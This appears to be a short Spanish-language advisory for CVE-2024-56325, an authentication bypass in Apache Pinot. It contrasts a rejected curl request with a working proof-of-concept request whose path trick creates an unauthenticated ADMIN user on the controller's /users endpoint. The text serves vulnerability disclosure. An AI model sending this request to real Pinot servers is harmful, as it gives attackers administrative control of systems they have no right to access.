CVE-2024-56325

Problema de omisión de autenticación: Si la ruta no contiene / ni contiene., no se requiere autenticación. Ejemplo de solicitud y respuesta normal esperada: curl -X POST -H "Content-Type: application/json" -d {\"username\":\"hack2\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"} http://{server_ip}:9000/users. Devuelve: {"code":401,"error":"HTTP 401 Unauthorized"}. Ejemplo de solicitud y respuesta maliciosa: curl -X POST -H "Content-Type: application/json" -d '{\"username\":\"hack\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}' http://{serverip}:9000/users; http://{serverip}:9000/users; . Devuelve: {"users":{}} Se agrega un nuevo usuario sin autenticación, lo que le permite controlar Pinot.